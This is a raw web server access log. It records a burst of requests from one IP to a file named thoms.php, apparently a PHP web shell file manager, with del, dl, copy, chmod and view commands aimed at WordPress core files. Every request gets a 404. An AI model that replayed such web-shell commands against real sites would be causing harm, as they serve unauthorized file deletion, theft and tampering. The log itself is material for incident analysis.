45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?del=class-wp-oembed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?chmod=ID3&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?del=robots-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?del=php-ai-client&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=php-ai-client&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?dl=class-avif-info.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:32 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=option.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:33 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?dl=embed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-atom.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-atom.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?del=update.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?dl=sitemaps.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?chmod=template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpost-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpost-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?chmod=cache-compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:34 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?chmod=https-migration.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?del=class-wp-block-metadata-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-metadata-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fadmin-bar.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fadmin-bar.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?dl=class-wp-icon-collections-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-icon-collections-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=abilities.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=abilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:35 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?del=registration.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=registration.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?del=atomlib.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?dl=feed-rss.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?dl=block-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:36 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
